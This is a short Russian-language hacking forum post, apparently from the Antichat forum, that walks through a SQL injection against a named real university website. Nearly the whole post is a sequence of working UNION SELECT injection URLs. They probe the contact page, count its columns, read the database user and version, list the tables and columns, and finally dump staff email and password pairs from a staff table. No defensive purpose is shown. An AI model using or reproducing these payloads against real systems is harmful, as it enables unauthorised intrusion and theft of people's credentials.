|
Познавший АНТИЧАТ
Регистрация: 21.03.2007
Сообщений: 1,200
С нами:
10074686
Репутация:
1204
|
|
University of Nairobi // ну да, сегодня универы :(
Подозрение
http://www.uonbi.ac.ke/contact_details.php?contactName=Department+of+Huma n+Anatomy&contactID='
Подбираем колонки
http://www.uonbi.ac.ke/contact_details.php?contactName=Department+of+Huma n+Anatomy&contactID=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12/*
Узнаем основную информацию
http://www.uonbi.ac.ke/contact_details.php?contactName=Department+of+Huma n+Anatomy&contactID=-1%20union%20select%201,concat(user(),char(58),vers ion(),char(58),database()),3,4,5,6,7,8,9,10,11,12/*
Пятерка. Смотрим таблицы и колонки
http://www.uonbi.ac.ke/contact_details.php?contactName=Department+of+Huma n+Anatomy&contactID=-1%20union%20select%201,table_name,3,4,5,6,7,8,9,10 ,11,12%20from%20information_schema.tables/*
http://www.uonbi.ac.ke/contact_details.php?contactName=Department+of+Huma n+Anatomy&contactID=-1%20union%20select%201,column_name,3,4,5,6,7,8,9,1 0,11,12%20from%20information_schema.columns/*
Выводим че-нить..
http://www.uonbi.ac.ke/contact_details.php?contactName=Department+of+Huma n+Anatomy&contactID=-1%20union%20select%201,concat(EMAIL,char(58),PASSW ORD),3,4,5,6,7,8,9,10,11,12%20from%20UNIVERSITY_ST AFF/*
|